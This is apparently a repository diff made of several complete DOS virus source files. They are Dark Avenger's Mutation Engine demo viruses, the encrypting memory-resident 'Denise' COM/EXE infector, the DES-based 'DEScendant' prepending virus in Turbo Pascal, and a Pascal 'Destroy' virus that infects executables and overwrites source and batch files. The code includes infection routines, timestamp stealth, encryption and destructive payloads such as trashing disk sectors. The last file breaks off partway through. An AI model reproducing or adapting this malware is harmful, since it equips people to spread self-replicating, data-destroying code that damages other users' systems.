mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
xor di,di
mov bl,0f
mov ax,101
call mut_engine
mov di,dx
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
xor dx,dx ;Put the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,0C
mov ah,40
int 21
jmp write_done
read_done:
mov ah,3e ;close the file
int 21
jmp infect_done
write_done:
mov ax,5700H ;get date & time on file
int 21H
push dx
mov ax,cx ;fix it
xor ax,dx
mov cx,0A
xor dx,dx
div cx
mul cx
add ax,3
pop dx
xor ax,dx
mov cx,ax
mov ax,5701H ;and save it
int 21H
jmp read_done
;determine if file is infected
isinf:
mov dx,offset dta_buf+1e
mov ax,3d02 ;Open the file
int 21
mov bx,ax
mov ax,5700H ;get file attribute
int 21H
mov ax,cx
xor ax,dx ;date xor time mod 10 = 3 for infected file
xor dx,dx
mov cx,0A
div cx
cmp dx,3
pushf
mov ah,3e ;Close the file
int 21
popf
ret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 11 bytes
ret
db 0
dw 0,0,0,0,0
oold_cod: ;old old code
db 0,0,0,0,0,0,0,0,0,0,0,0
new_cod: ;Buffer to write first 11 bytes
call nc2
nc1: pop ax
jmp $+200
nc2: pop ax
call nc1
nop
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start

+176
View File
@@ -0,0 +1,176 @@
; This is a demo virus to demonstrate
; the Mutation Engine <tm> usage
; Version 1.01 (1-3-92)
; (C) 1992 Dark Avenger.
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
reladr:
db 'Just a simple demo...'
locadr:
pop dx
mov cl,4
shr dx,cl
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
mov si,offset old_cod
movsb ;Restore first 3 bytes
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
mov ax,3524 ;Hook INT 24
int 21
push es bx
mov dx,offset fail_err
mov ax,2524
int 21
xor ax,ax ;Initialize random seed
call rnd_init
push sp
pop cx
sub cx,sp
add cx,4
push cx
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done
cmp [dta_buf+1a],ch
jnz infect ;If not infected, infect it now
find_nxt:
push cx
mov dx,offset dta_buf
mov ah,4f
jmp find_lup
infect_done:
pop cx
loop find_nxt
jnc damage_done
test al,1
jz damage_done
xchg ax,dx ;Trash a random sector on the default
mov ah,39 ; drive
int 21
mov cx,1
mov bx,offset start
int 26
popf
damage_done:
pop dx ds
mov ax,2524 ;Restore INT 24
int 21
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
push ds ;Exit to program
pop es
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done
mov ax,word ptr [old_cod] ;Make sure it's not an EXE file
cmp ax,'ZM'
jz read_done
cmp ax,'MZ'
jz read_done
xor cx,cx ;Seek at EOF
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
sub ax,3
mov word ptr [new_cod+1],ax
mov ax,5700 ;Save file's date/time
int 21
push dx cx
mov ax,offset data_top+0f
mov cl,4 ;Now call the Engine
shr ax,cl
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
mov ax,101
call mut_engine
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
write_done:
pop cx dx ;Restore file's date/time
mov ax,5701
int 21
read_done:
mov ah,3e ;Close the file
int 21
jmp infect_done
fail_err: ;Critical errors handler
mov al,3
iret
srchnam db '*.COM',0
old_cod: ;Buffer to read first 3 bytes
ret
dw ?
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start
+349
View File
@@ -0,0 +1,349 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: DENISE.ASM
; Denise by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'FB'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK filename.OBJ
; EXE2BIN filename.EXE filename.COM
org 0000h
start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h ; add word ptr [bx], xxxx
xorpatch db 0007h
encryptvalue dw 0000h
add bx, 0002h
loop encrypt_loop
endencrypt:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next
push es
push ds
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64
sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64
mov es, word ptr ds:[0012h]
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
sub word ptr ds:[0413h], (endheap-start+1023)/1024
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop es
pop ds
cmp sp, id
jne restore_COM
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP+2], ax
add ax, cs:[bp+word ptr origSPSS]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti
db 00EAh
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
ret
INT24:
mov al, 0003h
iret
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 3524h
int 0021h
push es
push bx
mov ax, 2524h
lea dx, INT24 ; ASSumes ds=cs
int 0021h
push cs
pop es
mov bx, dx
cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM
jz return ; Exit if so
mov ax, 4300h
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs
pop ds
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov dx, offset readbuffer
mov cx, 001Ah
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
cmp word ptr [offset readbuffer], 'ZM'
jz checkEXE
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so
mov si, offset readbuffer
mov di, offset old3
movsw
movsb
mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea si, readbuffer+14h
lea di, origCSIP
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [readbuffer+10h], id ; Initial SP
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
mov word ptr [readbuffer+14h], dx ; IP Offset
mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
mov word ptr [readbuffer+2], ax ; the EXE header.
pop bx ; restore file handle
mov cx, 001Ah
continue_infect:
push cx ; save # bytes to write
get_encrypt_value:
mov ah, 002Ch ; Get current time
int 0021h
or dx, dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[patchstart+1], si
mov word ptr ds:[encryptvalue], dx
mov cx, (heap-encrypt)/2
mov si, offset ENCRYPT
mov di, offset encryptbuffer
push si
rep movsw ; copy virus to buffer
mov ax, offset endencrypt-encrypt+encryptbuffer
mov word ptr ds:[patchstart+1], ax
pop si
push offset endencrypt
mov byte ptr [offset endencrypt], 00C3h ; retn
xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [offset endencrypt]
xor byte ptr [offset xorpatch], 0028h
mov ah, 0040h
mov cx, heap-encrypt
mov dx, offset encryptbuffer
int 0021h
xor cx, cx
mov ax, 4200h
cwd
int 0021h
pop cx
mov ah, 0040h
mov dx, offset readbuffer
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
creator db 'Ender',0
virusname db 'Denise',0
heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
File diff suppressed because it is too large Load Diff
+521
View File
@@ -0,0 +1,521 @@
{
같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같
겠컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 Description: 컴컴컴컴컴컴컴컴컴컴컴컴컴컴커
개 낡
개 - DEScendant - 낡
개 낡
개 A prepending virus written in borland turbo pascal 7.0, it encrypts 낡
개 variable blocks of the host file using DES, also storing the key on 낡
개 variable offsets, this should make it very hard for AV scanner to clean 낡
개 this virus. It doesn't infect any "new exe" files. 낡
개 If an infected program is called with the command line parameters 낡
개 "Too Many Secrets" the virus would put a file called "terces.pot" which 낡
개 stores a with DES encrypted copyright message in the current directory. 낡
개 The virus infects only 2 files per run, after no more files are found 낡
개 in the current directory it changes the directory through the PATH 낡
개 variable. 낡
개 낡
개 Credits go to the guy who wrote the DES unit :) i don't know his name. 낡
걋컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸
같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같
-- The DESUNIT.PAS is at the bottom --
}
{$M $4000,0,0 }
{$I-}
program _DEScendant_Of_Devil_;
uses crt, dos,windos,desunit;
const
virussize=11712;
var
dirinfo:tSearchRec;
filename:string;
buffer:array[1..virussize] of char;
numread,numwritten:word;
counter:byte;
attr:word;
copywrong:string;
fcrypt: file;
i:word;
ende:boolean;
path:array[1..50] of string[64];
path_item, current_dir:word;
self:boolean;
originaldir,fullname,name:array[0..80] of char;
function findfirstfile:string;
begin
findfirst('*.exe',faArchive,dirinfo);
if doserror = 0 then
findfirstfile:=dirinfo.name
else
findfirstfile:='';
end;
function findnextfile:string;
begin
findnext(dirinfo);
if doserror = 0 then
findnextfile:=dirinfo.name
else
findnextfile:='';
end;
function infected(filename:string):boolean;
var
fyou:file;
begin
assign(fyou,filename);
reset(fyou,1);
blockread(fyou,buffer,25,numread);
close(fyou);
if numread>=25 then
begin
if (buffer[19]='i') or (buffer[25]>=#64) then
infected:=true
else
infected:=false;
end
else
infected:=true;
end;
procedure crypt(var buffer:array of char; what:boolean);
var
key,bufferin,bufferout:array[1..8] of char;
i,key_begin,cipher_begin:word;
begin
case buffer[1] of
#0..#63: begin
key_begin:=10;
cipher_begin:=1998;
end;
#64..#127: begin
key_begin:=4;
cipher_begin:=21;
end;
#128..#191: begin
key_begin:=1982;
cipher_begin:=4;
end;
#192..#255: begin
key_begin:=7;
cipher_begin:=777;
end;
end;
for i:=1 to 8 do
key[i]:=buffer[i+key_begin];
for i:=1 to 8 do
bufferin[i]:=buffer[i+cipher_begin];
des(bufferin[1],bufferout[1],key[1],what);
for i:=1 to 8 do
buffer[i+cipher_begin]:=bufferout[i];
end;
procedure infect(filename:string);
var
fyou,fwe,ftemp:file;
bytes_read:longint;
begin
assign(fwe,fullname);
if self=false then
begin
setfattr(fwe,faarchive);
reset(fwe,1);
seek(fwe,18);
buffer[1]:='i';
blockwrite(fwe,buffer,1);
self:=true;
end;
if infected(filename) = false then
begin
assign(fyou,filename);
setfattr(fyou,faarchive);
assign(ftemp,'uhczzeku.tmp');
setfattr(ftemp,faarchive);
reset(fyou,1);
reset(fwe,1);
rewrite(ftemp,1);
blockread(fwe,buffer,virussize,numread);
blockwrite(ftemp,buffer,numread,numwritten);
repeat
blockread(fyou,buffer,2048,numread);
if numread=2048 then
crypt(buffer, true);
blockwrite(ftemp,buffer,numread,numwritten);
until (numread = 0) or (numwritten <> numread);
rewrite(fyou,1);
reset(ftemp,1);
repeat
blockread(ftemp,buffer,2048,numread);
blockwrite(fyou,buffer,numread,numwritten);
until (numread = 0) or (numwritten <> numread);
close(fyou);
close(ftemp);
erase(ftemp);
inc(counter);
end;
close(fwe);
end;
procedure execute_us;
var
i:byte;
fwe,ftemp:file;
parameter:string;
begin
randomize;
filename:='';
for i:=1 to 8 do
filename:=filename+chr(random(26)+ord('a'));
filename:=filename+'.exe';
assign(fwe,fullname);
assign(ftemp,filename);
setfattr(ftemp,faarchive);
reset(fwe,1);
rewrite(ftemp,1);
seek(fwe,virussize);
repeat
blockread(fwe,buffer,2048,numread);
if numread=2048 then
crypt(buffer,false);
blockwrite(ftemp,buffer,numread,numwritten);
until (numread=0) or (numwritten<>numread);
close(fwe);
close(ftemp);
parameter:='';
if paramcount>0 then
for i:=1 to paramcount do
parameter:=parameter+' '+paramstr(i);
swapvectors;
exec(filename,parameter);
swapvectors;
setfattr(ftemp,faarchive);
erase(ftemp);
end;
procedure changedirectory;
begin
if path[current_dir+1]<>'' then
begin
inc(current_dir);
chdir(path[current_dir]);
end
else
ende:=true;
end;
procedure initpath;
var
i,j:word;
dummy:string;
begin
dummy:=getenv('path');
j:=1;
for i:=1 to length(dummy) do
begin
if dummy[i]=';' then
begin
inc(j);
path[j]:='';
end
else
path[j]:=path[j]+dummy[i];
end;
end;
begin
if (paramcount=3) and (paramstr(1)='Too') and (paramstr(2)='Many') and
(paramstr(3)='Secrets') then
begin
copywrong:=#78+#32+#185+#52+#203+#38+#250+#148+
#229+#141+#155+#90+#22+#74+#218+#121+
#172+#246+#185+#190+#175+#80+#2+#79+
#121+#214+#132+#247+#26+#196+#192+#114;
assign(fcrypt,'terces.pot');
rewrite(fcrypt,1);
blockwrite(fcrypt,copywrong[1],32,numwritten);
close(fcrypt);
clrscr;
textmode(co80);
textcolor(7);
gotoxy(33,1); writeln('QRFpraqnag Bs Qrivy,');
gotoxy(25,5); writeln('jevggra ol FCb5xl va 6443 sbe PO');
textcolor(7+blink);
gotoxy(25,12); writeln('*** EXPORT RESTRICTIONS APPLY ***');
textcolor(7);
gotoxy(28,20); writeln('uggc://jjj.pbqroernxref.bet');
halt(0);
end;
getcurdir(originaldir,0);
filename:=paramstr(0);
for i:=0 to length(filename)-1 do
name[i]:=filename[i+1];
name[i+1]:=#0;
fileexpand(fullname,name);
self:=false;
counter:=0;
ende:=false;
path_item:=0;
current_dir:=0;
initpath;
filename:=findfirstfile;
while ende=false do
begin
if counter<2 then
begin
if (filename='') and (ende=false) then
changedirectory;
if ende=false then
begin
if filename='' then
filename:=findfirstfile;
infect(filename);
filename:=findnextfile;
end;
end
else
ende:=true;
end;
setcurdir(originaldir);
execute_us;
end.
---------------------------------DESUNIT.PAS---------------------------------
unit Desunit;
interface
Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
implementation
Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
Const
IP : Array [1..64] Of Byte = (58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
57,49,41,33,25,17, 9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7);
InvIP : Array [1..64] Of Byte = (40, 8,48,16,56,24,64,32,
39, 7,47,15,55,23,63,31,
38, 6,46,14,54,22,62,30,
37, 5,45,13,53,21,61,29,
36, 4,44,12,52,20,60,28,
35, 3,43,11,51,19,59,27,
34, 2,42,10,50,18,58,26,
33, 1,41, 9,49,17,57,25);
E : Array [1..48] Of Byte = (32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9,10,11,12,13,
12,13,14,15,16,17,
16,17,18,19,20,21,
20,21,22,23,24,25,
24,25,26,27,28,29,
28,29,30,31,32, 1);
P : Array [1..32] Of Byte = (16, 7,20,21,
29,12,28,17,
1,15,23,26,
5,18,31,10,
2, 8,24,14,
32,27, 3, 9,
19,13,30, 6,
22,11, 4,25);
SBoxes : Array [1..8,0..3,0..15] Of Byte =
(((14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7),
( 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8),
( 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0),
(15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13)),
((15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10),
( 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5),
( 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15),
(13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9)),
((10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8),
(13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1),
(13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7),
( 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12)),
(( 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15),
(13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9),
(10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4),
( 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14)),
(( 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9),
(14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6),
( 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14),
(11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3)),
((12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11),
(10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8),
( 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6),
( 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13)),
(( 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1),
(13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6),
( 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2),
( 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12)),
((13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7),
( 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2),
( 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8),
( 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11)));
PC_1 : Array [1..56] Of Byte = (57,49,41,33,25,17, 9,
1,58,50,42,34,26,18,
10, 2,59,51,43,35,27,
19,11, 3,60,52,44,36,
63,55,47,39,31,23,15,
7,62,54,46,38,30,22,
14, 6,61,53,45,37,29,
21,13, 5,28,20,12, 4);
PC_2 : Array [1..48] Of Byte = (14,17,11,24, 1, 5,
3,28,15, 6,21,10,
23,19,12, 4,26, 8,
16, 7,27,20,13, 2,
41,52,31,37,47,55,
30,40,51,45,33,48,
44,49,39,56,34,53,
46,42,50,36,29,32);
ShiftTable : Array [1..16] Of Byte = (1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1);
Var
InputValue : Array [1..64] Of Byte;
OutputValue : Array [1..64] Of Byte;
RoundKeys : Array [1..16,1..48] Of Byte;
L, R, FunctionResult : Array [1..32] Of Byte;
C, D : Array [1..28] Of Byte;
Function GetBit (Var Data; Index : Byte) : Byte;
Var
Bits : Array [0..7] Of Byte ABSOLUTE Data;
Begin
Dec (Index);
If Bits[Index DIV 8] And (128 SHR (Index MOD 8))>0 then GetBit:=1
Else GetBit:=0;
End;{GetBit}
Procedure SetBit (Var Data; Index, Value : Byte);
Var
Bits : Array [0..7] Of Byte ABSOLUTE Data;
Bit : Byte;
Begin
Dec (Index);
Bit:=128 SHR (Index MOD 8);
Case Value Of
0 : Bits[Index DIV 8]:=Bits[Index DIV 8] And (Not Bit);
1 : Bits[Index DIV 8]:=Bits[Index DIV 8] Or Bit;
End;
End;{SetBit}
Procedure F (Var FR, FK, Output);
Var
R : Array [1..48] Of Byte ABSOLUTE FR;
K : Array [1..48] Of Byte ABSOLUTE FK;
Temp1 : Array [1..48] Of Byte;
Temp2 : Array [1..32] Of Byte;
n, h, i, j, Row, Column : Integer;
TotalOut : Array [1..32] Of Byte ABSOLUTE Output;
Begin
For n:=1 to 48 Do Temp1[n]:=R[E[n]] Xor K[n];
For n:=1 to 8 Do Begin
i:=(n-1)*6;
j:=(n-1)*4;
Row:=Temp1[i+1]*2+Temp1[i+6];
Column:=Temp1[i+2]*8 + Temp1[i+3]*4 + Temp1[i+4]*2 + Temp1[i+5];
For h:=1 to 4 Do Begin
Case h Of
1 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 8) DIV 8;
2 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 4) DIV 4;
3 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 2) DIV 2;
4 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 1);
End;
End;
End;
For n:=1 to 32 Do TotalOut[n]:=Temp2[P[n]];
End;{F}
Procedure Shift (Var SubKeyPart);
Var
SKP : Array [1..28] Of Byte ABSOLUTE SubKeyPart;
n, b : Byte;
Begin
b:=SKP[1];
For n:=1 to 27 Do SKP[n]:=SKP[n+1];
SKP[28]:=b;
End;{Shift}
Procedure SubKey (Round : Byte; Var SubKey);
Var
SK : Array [1..48] Of Byte ABSOLUTE SubKey;
n, b : Byte;
Begin
For n:=1 to ShiftTable[Round] Do Begin
Shift (C);
Shift (D);
End;
For n:=1 to 48 Do Begin
b:=PC_2[n];
If b<=28 then SK[n]:=C[b] Else SK[n]:=D[b-28];
End;
End;{SubKey}
Var
n, i, b, Round : Byte;
Outputje : Array [1..64] Of Byte;
K : Array [1..48] Of Byte;
fi : Text;
Begin
For n:=1 to 64 Do InputValue[n]:=GetBit (Input,n);
For n:=1 to 28 Do Begin
C[n]:=GetBit(Key,PC_1[n]);
D[n]:=GetBit(Key,PC_1[n+28]);
End;
For n:=1 to 16 Do SubKey (n,RoundKeys[n]);
For n:=1 to 64 Do If n<=32 then L[n]:=InputValue[IP[n]]
Else R[n-32]:=InputValue[IP[n]];
For Round:=1 to 16 Do Begin
If Encrypt then
F (R,RoundKeys[Round],FunctionResult)
Else
F (R,RoundKeys[17-Round],FunctionResult);
For n:=1 to 32 Do FunctionResult[n]:=FunctionResult[n] Xor L[n];
L:=R;
R:=FunctionResult;
End;
For n:=1 to 64 Do Begin
b:=InvIP[n];
If b<=32 then OutputValue[n]:=R[b] Else OutputValue[n]:=L[b-32];
End;
For n:=1 to 64 Do SetBit (Output,n,OutputValue[n]);
End;
end.
+272
View File
@@ -0,0 +1,272 @@
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 16384,20000,100000}
PROGRAM Destroy;
{$I-}
USES CRT, DOS;
CONST
MyLen = 7335;
VAR
SR : SearchRec;
FN : String;
Dir : DirStr;
Nam : NameStr;
Ext : ExtStr;
FUNCTION UpStr (S : String) : String;
VAR
I : Byte;
BEGIN
FOR I := 1 TO Length (S) DO
S [I] := UpCase (S [I]);
UpStr := S;
END;
PROCEDURE Infect_File;
VAR
F, F1 : File;
Buff : Array [1..MYLEN] Of Byte;
B : Byte;
W : Word;
BEGIN
Assign (F, SR.Name);
FileMode := 2;
ReSet (F,1);
IF IOResult <> 0 THEN Exit;
IF (FileSize (F) < 2*MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN
Close (F);
Exit;
END;
Assign (F1, ParamStr (0));
ReSet (F1,1);
IF IOResult <> 0 THEN BEGIN
Close (F);
Exit;
END;
Seek (F, FileSize (F)-1);
BlockRead (F, B, 1, W);
IF B = Ord ('€') THEN BEGIN
Close (F);
Close (F1);
Exit;
END;
Seek (F, 0);
BlockRead (F, Buff, MyLen, W);
FOR W := 1 TO MyLen DO
Buff [W] := Buff [W] xor Byte (W);
Seek (F, FileSize (F));
BlockWrite (F, Buff, MyLen, W);
B := Ord ('€');
BlockWrite (F, B, 1, W);
Seek (F, 0);
BlockRead (F1, Buff, MyLen, W);
BlockWrite (F, Buff, MyLen, W);
Close (F1);
SetFTime (F, SR.Time);
Close (F);
SetFAttr (F, SR.Attr);
END;
PROCEDURE KILLER_FILE (I : Byte);
VAR
T, T1 : Text;
J : Byte;
S : String;
BEGIN
IF SR.Attr And ReadOnly <> 0 THEN Exit;
Assign (T, SR. Name);
Assign (T1, 'QWERTY.SWP');
ReSet (T);
IF I = 1 THEN BEGIN
J := 0;
WHILE EOF (T) = False DO BEGIN
ReadLn (T, S);
IF Pos ('PROGRAM', UpStr (S)) <> 0 THEN BEGIN
J := 1;
Break;
END;
END;
IF J = 0 THEN BEGIN
Close (T);
Exit;
END ELSE ReSet (T);
END;
ReWrite (T1);
CASE I OF
1 : BEGIN
WriteLn (T1, 'PROGRAM Virus;');
WriteLn (T1, 'BEGIN');
WriteLn (T1, 'WriteLn ('+#39+'˜¥« ¡ë âë ­  åã©!'+#39+');');
WriteLn (T1, 'END.');
END;
2 : BEGIN
WriteLn (T1, 'PRINT "˜¥« ¡ë âë ­  åã©!"');
END;
3 : BEGIN
WriteLn (T1, 'Model Tiny');
WriteLn (T1, '.Code');
WriteLn (T1, 'ORG 100h');
WriteLn (T1, 'START:');
WriteLn (T1, 'LEA DX, MSG');
WriteLn (T1, 'MOV AH,09h');
WriteLn (T1, 'INT 21h');
WriteLn (T1, 'RET');
WriteLn (T1, 'MSG db '+#39+'˜¥« ¡ë âë ­  åã©!'+#39+'0ah,0dh,'+#39+'$'+#39);
WriteLn (T1, 'END START');
END;
4 : BEGIN
WriteLn (T1, 'echo off');
WriteLn (T1, 'echo ˜¥« ¡ë âë ­  åã©!');
WriteLn (T1, 'pause');
END;
5 : BEGIN
WriteLn (T1, '˜¥« ¡ë âë ­  åã©!');
END;
6 : BEGIN
WriteLn (T1, 'Ÿ - ‚ˆ“‘-Œ“„€Š');
WriteLn (T1, '€ âë ¨¤¨ ­  åã©');
END;
END;
WHILE EOF (T) = False DO BEGIN
ReadLn (T, S);
WriteLn (T1, S);
END;
Close (T);
Erase (T);
Close (T1);
Rename (T1, SR.Name);
SetFAttr (T1, ReadOnly);
END;
PROCEDURE Find_In_To_Current_Directory;
BEGIN
FindFirst('*.*', $20, SR);
While DosError = 0 do begin
FSplit (SR.Name, Dir, Nam, Ext);
IF Ext = '.COM' THEN Infect_File;
IF Ext = '.EXE' THEN Infect_File;
IF Ext = '.PAS' THEN KILLER_File (1);
IF Ext = '.BAS' THEN KILLER_File (2);
IF Ext = '.ASM' THEN KILLER_File (3);
IF Ext = '.BAT' THEN KILLER_File (4);
IF Ext = '.ME' THEN KILLER_File (5);
IF Ext = '.DIZ' THEN KILLER_File (5);
IF UpStr (SR.Name) = 'DIRINFO' THEN KILLER_File (6);
FindNext(SR);
End;
END;
PROCEDURE Exec_Program;
VAR
F1, F : File;
Buff : Array [1..MYLEN] Of Byte;
W : Word;
S : String;
FTime : LongInt;
FAttr : Word;
BEGIN
